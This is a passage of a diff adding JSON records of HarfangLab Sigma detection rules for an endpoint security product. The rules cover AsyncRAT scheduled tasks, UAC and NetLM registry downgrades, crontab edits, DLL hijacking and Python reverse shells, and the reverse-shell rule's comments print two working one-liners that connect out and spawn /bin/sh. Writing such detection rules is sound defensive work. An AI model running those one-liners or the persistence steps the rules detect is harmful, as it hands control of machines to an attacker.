' create '\n    selection_cmd2:\n        CommandLine|contains:\n            - '/tn '\n            - '-tn '\n\n    selection_specific_asyncrat_1:\n        CommandLine|contains|all:\n            - '/sc onlogon /rl highest'\n            - '\\AppData\\Roaming\\'\n\n    selection_specific_asyncrat_2:\n        CommandLine|contains|all:\n            - '/sc onlogon /rl highest'\n            - '\\AppData\\Local\\Temp\\'\n\n    selection_specific_public_directory_1:\n        CommandLine|contains|all:\n            - '/sc minute /mo'\n            - '\\Users\\Public\\'\n\n    selection_specific_public_directory_2:\n        CommandLine|contains|all:\n            - '/Create /XML'\n            - '\\Users\\Public\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_psappdeploytoolkit:\n        # C:\\WINDOWS\\System32\\schtasks.exe /create /f /tn DeltaManager_2.0.0.2_1.0_2.0.0.2_FR_BlockedApps /xml C:\\Users\\Public\\PSAppDeployToolkit\\SchTaskUnBlockApps.xml\n        CommandLine:\n            - '* /create /f /tn * /xml*?:\\Users\\Public\\PSAppDeployToolkit\\PSAppDeployToolkit-ExecuteAsUser.xml*'\n            - '* /create /f /tn * /xml*?:\\Users\\Public\\PSAppDeployToolkit\\SchTaskUnBlockApps.xml*'\n\n    exclusion_wapt:\n        ParentImage: '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n\n    condition: selection_bin and all of selection_cmd* and 1 of selection_specific_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2acfef72-9bfe-4583-9f0a-0fdbec088a28",
+  "rule_name": "AsyncRAT Scheduled Task Created",
+  "rule_description": "Detects the creation of a scheduled task related to the AsyncRAT hacking tool.\nAttackers often used scheduled task to persistently execute malicious code.\nIt is recommended to investigate the parent process performing this action and download the XML file to get the scheduled task action.\n",
+  "rule_creation_date": "2022-08-22",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2b08e300-2cbf-4b7f-8b71-d33804657613",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622461Z",
+  "creation_date": "2026-03-23T11:45:34.622463Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622467Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration",
+    "https://twitter.com/1ZRR4H/status/1575364101148114944",
+    "https://attack.mitre.org/techniques/T1548/"
+  ],
+  "name": "t1548_uac_consent_config_change.yml",
+  "content": "title: UAC Registry Configuration Modified\nid: 2b08e300-2cbf-4b7f-8b71-d33804657613\ndescription: |\n    Detects a partial disabling of the UAC consent window in the User Account Control registry configuration.\n    Attackers may change this configuration in order to locally elevate privileges quietly or allow future attackers to do so.\n    It is recommended to investigate this action to determine its legitimacy.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration\n    - https://twitter.com/1ZRR4H/status/1575364101148114944\n    - https://attack.mitre.org/techniques/T1548/\ndate: 2022/11/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    filter_disable:\n        Details:\n            - 'DWORD (0x00000000)' # This is handled by the rule 189eeb83-5aec-4186-97ea-ad22929a4f15\n            - 'DWORD (0x00000005)' # This is the default value\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_device_enroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\svchost.exe'\n\n    exclusion_clickshare:\n        ProcessCommandLine|endswith: '\\AppData\\Local\\Temp\\{????????-????-????-????-????????????}\\ClickShareButtonApp-{????????-????-????-????-????????????}.exe'\n        # C:\\Windows\\System32\\DriverStore\\FileRepository\\barcoclicksharedrv.inf_amd64_2911b58ce63436e2\\BarcoClickShareSvc.exe\n        ProcessGrandparentImage: '?:\\Windows\\System32\\DriverStore\\FileRepository\\barcoclicksharedrv.inf_*\\BarcoClickShareSvc.exe'\n        Details: 'DWORD (0x00000002)'\n\n    # c6d36742ebd7db317f2740a67c37ec08608f85ecdfa093315823cc37c5cc7d06\n    exclusion_clickshare_2:\n        ProcessImage: '?:\\ClickShareApp\\ClickShare\\app-?.??.?-???\\clickshare_native.exe'\n\n    exclusion_vaudio:\n        ProcessImage: '?:\\Program Files (x86)\\Common Files\\VAudio\\Audckq32.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\services.exe'\n        Details: 'DWORD (0x00000004)'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\n#level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2b08e300-2cbf-4b7f-8b71-d33804657613",
+  "rule_name": "UAC Registry Configuration Modified",
+  "rule_description": "Detects a partial disabling of the UAC consent window in the User Account Control registry configuration.\nAttackers may change this configuration in order to locally elevate privileges quietly or allow future attackers to do so.\nIt is recommended to investigate this action to determine its legitimacy.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2b0a3397-e688-4bb7-ae09-07debeea1a9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089034Z",
+  "creation_date": "2026-03-23T11:45:34.089036Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089040Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1595/002/"
+  ],
+  "name": "t1595_002_linux_exp_suggester_perl.yml",
+  "content": "title: Linux-Exploit-Suggester Hacktool Executed via Perl\nid: 2b0a3397-e688-4bb7-ae09-07debeea1a9d\ndescription: |\n    Detects common commands from linux-exploit-suggester-2.\n    linux-exploit-suggester is an open-source Perl script for suggesting privilege escalation exploits on Linux.\n    It is recommended to investigate the context of this execution to determine if this is a legitimate action conducted by an administrator to test his systems or if it is part of an attack.\n    If so, it is recommended to block the user and isolate the machine for further forensics.\nreferences:\n    - https://attack.mitre.org/techniques/T1595/002/\ndate: 2022/11/21\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.reconnaissance\n    - attack.t1595.002\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Script.Perl\n    - classification.Linux.HackTool.LinuxExploitSuggester\n    - classification.Linux.Behavior.Discovery\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        ParentImage|endswith: '/perl'\n        CommandLine: 'sh -c uname -r |cut -d\"-\" -f1'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2b0a3397-e688-4bb7-ae09-07debeea1a9d",
+  "rule_name": "Linux-Exploit-Suggester Hacktool Executed via Perl",
+  "rule_description": "Detects common commands from linux-exploit-suggester-2.\nlinux-exploit-suggester is an open-source Perl script for suggesting privilege escalation exploits on Linux.\nIt is recommended to investigate the context of this execution to determine if this is a legitimate action conducted by an administrator to test his systems or if it is part of an attack.\nIf so, it is recommended to block the user and isolate the machine for further forensics.\n",
+  "rule_creation_date": "2022-11-21",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1595.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2b16b989-2088-48a9-a2e4-ff125b31a00e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621402Z",
+  "creation_date": "2026-03-23T11:45:34.621404Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621408Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level",
+    "www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions",
+    "https://attack.mitre.org/techniques/T1562/001/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1562_001_netlm_downgrade.yml",
+  "content": "title: NetLM Downgraded\nid: 2b16b989-2088-48a9-a2e4-ff125b31a00e\ndescription: |\n    Detects the downgrade of the NetLM configuration in the Windows registry.\n    The modification of LmCompatibilityLevel registry value to 2 or less disables the use of NTLMv2 session security.\n    This weaken the security of network authentications and can be used by attackers to extract the NTLM hash.\n    It is recommended to analyze the process responsible for this registry edit as well as for malicious actions in this user session.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level\n    - www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions\n    - https://attack.mitre.org/techniques/T1562/001/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2020/11/09\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\LmCompatibilityLevel'\n        Details:\n            - 'DWORD (0x00000000)'\n            - 'DWORD (0x00000001)'\n            - 'DWORD (0x00000002)'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_deviceenroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n\n    exclusion_sccm:\n        ProcessAncestors|contains: '|?:\\MININT\\Tools\\X64\\TsManager.exe|?:\\MININT\\Tools\\X64\\TsmBootstrap.exe|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2b16b989-2088-48a9-a2e4-ff125b31a00e",
+  "rule_name": "NetLM Downgraded",
+  "rule_description": "Detects the downgrade of the NetLM configuration in the Windows registry.\nThe modification of LmCompatibilityLevel registry value to 2 or less disables the use of NTLMv2 session security.\nThis weaken the security of network authentications and can be used by attackers to extract the NTLM hash.\nIt is recommended to analyze the process responsible for this registry edit as well as for malicious actions in this user session.\n",
+  "rule_creation_date": "2020-11-09",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2b26abb8-6656-496d-8bdf-d47537666c04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093694Z",
+  "creation_date": "2026-03-23T11:45:34.093696Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093700Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md",
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_crontab_edit_macos.yml",
+  "content": "title: Cron Jobs Edited via Crontab (macOS)\nid: 2b26abb8-6656-496d-8bdf-d47537666c04\ndescription: |\n    Detects the execution of the crontab command to edit cron jobs.\n    An attacker could use crontab to add a malicious cron job for persistence.\n    It is recommended to check the content of the file in command-line for any unwanted lines.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2022/11/14\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/crontab'\n        CommandLine|contains: ' -e'\n    condition: selection\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2b26abb8-6656-496d-8bdf-d47537666c04",
+  "rule_name": "Cron Jobs Edited via Crontab (macOS)",
+  "rule_description": "Detects the execution of the crontab command to edit cron jobs.\nAn attacker could use crontab to add a malicious cron job for persistence.\nIt is recommended to check the content of the file in command-line for any unwanted lines.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2b4e82d9-d3b0-4aef-8866-05ac0d89d9f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592619Z",
+  "creation_date": "2026-03-23T11:45:34.592625Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592638Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rdpinput.yml",
+  "content": "title: DLL Hijacking via rdpinput.exe\nid: 2b4e82d9-d3b0-4aef-8866-05ac0d89d9f1\ndescription: |\n    Detects potential Windows DLL Hijacking via rdpinput.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rdpinput.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\winsta.dll'\n            - '\\wtsapi32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2b4e82d9-d3b0-4aef-8866-05ac0d89d9f1",
+  "rule_name": "DLL Hijacking via rdpinput.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rdpinput.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2b5b655e-f7bb-4864-9202-ad7b2087ae12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095413Z",
+  "creation_date": "2026-03-23T11:45:34.095415Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095419Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://attack.mitre.org/techniques/T1059/006/"
+  ],
+  "name": "t1059_006_reverse_shell_python_macos.yml",
+  "content": "title: Reverse Shell Executed via Python (macOS)\nid: 2b5b655e-f7bb-4864-9202-ad7b2087ae12\ndescription: |\n    Detects a suspicious command line related to a reverse shell execution via Python.\n    A reverse shell is a shell session that is initiated from a remote machine.\n    Attackers often use reverse shell to bypass firewalls restrictions.\n    It is recommended to check for malicious behavior by the process launching the command and its potential children.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://attack.mitre.org/techniques/T1059/006/\ndate: 2022/11/14\nmodified: 2025/01/10\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.006\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.Python\n    - classification.macOS.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    # export RHOST=\"127.0.0.1\";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'\n    # python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n    selection_command:\n        CommandLine|contains|all:\n            - 'import'\n            - 'socket'\n            - '.socket('\n            - '.connect('\n            - 'os.dup2('\n            - 'fileno()'\n\n    selection_shell:\n        CommandLine|contains:\n            - '.spawn('\n            - '.call('\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2b5b655e-f7bb-4864-9202-ad7b2087ae12",
+  "rule_name": "Reverse Shell Executed via Python (macOS)",
+  "rule_description": "Detects a suspicious command line related to a reverse shell execution via Python.\nA reverse shell is a shell session that is initiated from a remote machine.\nAttackers often use reverse shell to bypass firewalls restrictions.\nIt is recommended to check for malicious behavior by the process launching the command and its potential children.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-01-10",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2bade688-d13f-4317-9d07-3994ff35201f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623552Z",
+  "creation_date": "2026-03-23T11:45:34.623554Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623559Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://hacktricks.wiki/en/generic-hacking/reverse-shells/linux.html",
+    "https://www.revshells.com/",
+    "https://attack.mitre.org/techniques/T1059/004/",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1059_004_reverse_shell_command_line_linux.yml",
